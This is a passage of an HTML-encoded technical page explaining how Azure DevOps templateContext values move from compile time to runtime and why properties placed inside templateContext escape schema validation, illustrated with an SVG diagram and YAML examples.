style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='564' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='580' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='676' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='308' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='388' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='484' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='564' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='580' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='676' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='244' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='308' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='388' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='484' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='564' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='580' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='676' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='196' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='244' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='308' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='388' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='484' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='564' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='580' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='676' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='388' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='484' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='564' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='580' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='676' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='244' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='308' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='564' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='308' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='388' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='484' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='564' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='676' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='244' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='308' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='388' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='484' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='388' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='484' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='564' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='676' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='308' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='388' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='484' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='564' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='676' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='244' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='564' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='676' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='20' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='68' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='244' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='308' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='388' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='564' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='676' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='196' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='308' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='564' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='676' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='196' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='244' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='308' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='388' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='564' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='676' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='244' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='308' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='388' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='676' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='196' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='388' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='564' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='676' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='68' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='308' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='388' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='564' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='676' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='308' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='388' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='564' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='788' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='804' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='68' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='308' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='388' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='564' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='676' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='788' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='804' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='244' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='388' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='564' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='676' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='788' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='804' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='196' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='244' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='308' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='676' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='788' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='804' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='244' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='308' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='388' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='676' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='788' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='804' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='388' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='676' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='788' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='804' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='196' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='244' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='308' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='388' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='676' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='244' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='308' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='388' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='676' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='788' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='196' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='308' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='388' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='676' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='788' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='244' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='676' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='788' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='244' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='788' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='788' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='788' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='244' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='244' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='244' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='244' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='244' fill='currentColor' style='font-size:1em'\u003e|\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eThe Bridge:\u003c/strong\u003e Because \u003ccode\u003etemplateContext\u003c/code\u003e is stripped during compilation, the template must \u0026ldquo;bridge\u0026rdquo; the value into a standard variable or environment variable for the agent to see it.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eScope Restriction:\u003c/strong\u003e The blue zone is the only place where direct \u003ccode\u003e${{ deploy.templateContext }}\u003c/code\u003e access is valid. In the orange zone (Runtime), only the bridged variables exist.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"schema-validation-behavior\"\u003eSchema Validation Behavior\u003c/h3\u003e\n\u003cp\u003eAzure DevOps recognizes \u003ccode\u003etemplateContext\u003c/code\u003e as a reserved keyword. Adding it to a job definition inside a \u003ccode\u003edeploymentList\u003c/code\u003e parameter does not trigger the standard \u0026ldquo;Unexpected value\u0026rdquo; schema error:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# INVALID: custom property added directly to a job definition — schema error\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etargetEnvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev  \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# \u0026#34;Unexpected value \u0026#39;targetEnvironment\u0026#39;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;deploy\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# VALID: same property moved inside templateContext — no schema error\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etargetEnvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev  \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# accepted without schema validation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;deploy\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe content inside \u003ccode\u003etemplateContext:\u003c/code\u003e is entirely unvalidated. Azure DevOps accepts any YAML mapping — misspelled property names, wrong value types, and absent required properties all pass without parse errors. The errors surface when properties are consumed: \u003ccode\u003e${{ deploy.templateContext.typo }}\u003c/code\u003e evaluates to an empty string silently; \u003ccode\u003e${{ coalesce(deploy.templateContext.typo, 'fallback') }}\u003c/code\u003e applies the fallback.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e is valid on jobs and stages passed via \u003ccode\u003ejobList\u003c/code\u003e and \u003ccode\u003estageList\u003c/code\u003e parameters. It is also valid on deployment jobs passed via \u003ccode\u003edeploymentList\u003c/code\u003e. It is \u003cstrong\u003enot\u003c/strong\u003e valid on steps passed via \u003ccode\u003estepList\u003c/code\u003e. It is also 